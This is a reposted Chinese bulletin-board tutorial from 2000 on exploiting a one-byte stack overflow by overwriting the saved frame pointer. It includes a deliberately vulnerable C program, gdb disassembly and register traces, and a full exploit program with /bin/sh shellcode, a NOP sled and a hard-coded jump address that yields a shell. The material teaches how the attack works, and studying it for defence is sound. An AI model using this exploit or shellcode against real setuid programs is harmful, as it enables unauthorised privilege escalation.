发信人: cloudsky (小四), 信区: Security 标 题: 单字节缓冲区溢出(修订版) 发信站: 武汉白云黄鹤站 (Sun Apr 16 03:58:14 2000), 站内信件 标题:单字节缓冲区溢出 主页:http://www.isbase.com 作者:warning3 < mailto: warning3@hotmail.com > 通常的缓冲区溢出就是通过重写堆栈中存储的EIP内容,使程序跳转到我们的 shellcode处执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们 的代码。这听起来有些不可思议,其实还是很有可能的,下面我们就来看看这是如何 实现的。我们先写一个有弱点的程序,它只能被溢出一个字节: ipdev:~/tests$ cat > suid.c #include func ( char * sm ) { char buffer[256]; int i; /* 最多可以拷贝257个字节到一个256字节的缓冲区中 */ for ( i = 0; i <= 256; i++ ) { buffer[ i ] = sm[ i ]; } } main ( int argc, char * argv[] ) { if ( argc < 2 ) { printf( "missing args\n" ); exit( -1 ); } func( argv[1] ); } ^D ipdev:~/tests$ gcc -o suid suid.c ipdev:~/tests$ 我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们 只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还 是先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序: ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) 当call指令被调用时,进程首先将%eip(下一条要执行指令的地址)压入堆栈。然后将 %ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈的地址拷 贝到%ebp中,接着为局部变量分配空间,%esp减小0x104字节(256+4)。buffer[]占用 了256字节(0x100),整型变量i占4个字节。在溢出发生以前,我们的堆栈中的情况如 下: 栈顶(低地址) |---------| | i | 4字节 |---------|\ | buff[0] | \ |---------| | | buff[1] | | |---------| |--> 256字节 | ....... | | |---------| | |buff[255]| / |---------|/ |保存的ebp| 4字节 |---------| |保存的eip| 4字节 |---------| 栈底(高地址) 这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆 栈),如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。 当func()将要结束时,%ebp从堆栈中被恢复。见。让我们再看看接下来发 生了什么,还是利用gdb来反汇编main(): (gdb) disassemble main Dump of assembler code for function main: 0x8048180 : pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) 当func()调用结束后,%ebp将会被拷贝到%esp中,见,这意味着我们可以 改变%esp成到其他值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。 (gdb) disassemble main Dump of assembler code for function main: 0x8048180 : pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `perl -e 'print "A"x257'` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) 在溢出发生后,%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41) 被拷贝到%esp中作为新的堆栈指针,见,main()会再从堆栈中弹出保存的 %ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶向高地址方向缩短4个字节)。这 时我们看到的%esp的值就是: 0xbffffd45 = 0xbffffd41 + 0x41 很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中 的%esp的值。当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节), 将它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以 让进程弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。我们 可以构造一个buffer用来完成我们的工作: [nops][shellcode][&shellcode][改变%ebp的字节] 这样当溢出发生时堆栈中的情况就是这样的: 栈顶(低地址) |---------| | i | 4字节 |---------|\ | 0x90 | \ |---------| | | 0x90 | | |---------| |--> 256字节 | ....... | | |---------| | |shellcode| | | ....... | | |---------| | |跳转地址 | / |---------|/ |保存的ebp| 4字节(最低的一个字节被覆盖) |---------| |保存的eip| 4字节 |---------| 栈底(高地址) 我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip 中,从而去执行我们的shellcode代码。现在我们需要得到的是被覆盖的buffer的地 址和跳转地址的值。我们不得不先写一个程序来构造一下真实攻击时的场景: ipdev:~/tests$ cat > fake_exp.c #include #include main () { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) 从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64 开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大 小)-0x04(跳转地址大小)=0xbffffd60处。 有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的 最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节 (因为弹出了保存的%ebp)。跳转地址的值并不需要是shellcode的起始地址,只要是 NOP指令之间的某个地址即可,就象通常的溢出程序一样。即: 0xbffffc64---(0xbffffd64-shellcode大小)。我们这里选用0xbffffc74。 ipdev:~/tests$ cat > exp.c #include #include char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main () { int i, j; char buffer[1024]; bzero( &buffer, 1024 ); for ( i = 0; i <= ( 252 - sizeof( sc_linux ) ); i++ ) { buffer[i] = 0x90; } for ( j = 0, i = i; j < ( sizeof( sc_linux ) - 1 ); i++, j++ ) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; buffer[i++] = 0xfc; /* 跳转地址 */ buffer[i++] = 0xff; buffer[i++] = 0xbf; buffer[i++] = 0x5c; /* 用来覆盖%ebp的字节 */ execl( "./suid", "suid", buffer, NULL ); } ^D ipdev:~/tests$ gcc exp.c -o exp ipdev:~/tests$ ./exp bash$ 成功了。现在让我们仔细看一下到底发生了些什么: ipdev:~/tests$ gdb --exec=exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) 我们先设置几个断点来观察被覆盖的栈帧指针的值: (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) 上面的断点用来监视在从堆栈弹出前和弹出后%ebp的变化: (gdb) disassemble main Dump of assembler code for function main: 0x8048180 : pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) 上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。现 在让我们来运行程序: (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 这是%ebp的原来的内容 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c 溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c) (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. 此时%esp指向0xbffffd5c Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置 (gdb) 看一下此时堆栈中的情况: (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 这里确实存放着我们的跳转地址 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) 跳转地址指向NOP串的中间,这也就是我们的shellcode开始执行的地方。 (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ 下面的简图大致描述了%ebp与%esp的变化: func()中,返回前 main()中 main()中 main()中 栈顶(低地址) addl $0x4,%esp movl %ebp,%esp popl %ebp 0xbffffc60|----------| |----------| |----------| |----------| | i | | i | | i | | i | 0xbffffc64|----------| |----------| |----------| |----------| | 0x90 | | 0x90 | | 0x90 | | 0x90 | |----------| |----------| |----------| |----------| | 0x90 | | 0x90 | | 0x90 | | 0x90 | |----------| |----------| |----------| |----------| -----> | ....... | | ....... | | ....... | | ....... | | |----------| |----------| |----------| |----------| | |shellcode | |shellcode | |shellcode | |shellcode | | | ....... | | ....... | %esp--->| ....... |0xbffffd5c|......... | 0xbffffd60|----------| |----------| |----------| %esp-->|----------| |----- |0xbffffc74| |0xbffffc74| |0xbffffc74| |0xbffffc74| -->%eip 0xbffffd64|----------| |----------| |----------| |----------| 保存的ebp |0xbffffd5c| |0xbffffd5c| |0xbffffd5c| |0xbffffd5c| %esp--->|----------| |----------| |----------| |----------| |保存的eip | |保存的eip | |保存的eip | |保存的eip | |----------| %esp-->|----------| |----------| |----------| 结束语: 这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击理论上当然 是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构 造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由 于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的 buffer必须是函数中第一个被声明的变量。对于big endian结构的系统,%ebp在内存 中的顺序是高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证 我们的程序可以跳到那个地址去执行。 尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽 也可能导致严重的安全问题。 参考文献: [1] <>55-08 [ The Frame Pointer Overwrite ] by klog [2] <>49 [ Smashing The Stack For Fun And Profit ] by Aleph1 -- 我问飘逝的风:来迟了? 风感慨:是的,他们已经宣战。 我问苏醒的大地:还有希望么? 大地揉了揉眼睛:还有,还有无数代的少年。 我问长空中的英魂:你们相信? 英魂带着笑意离去:相信,希望还在。 ※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124] -------------------------------------------------------------------------------- 分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇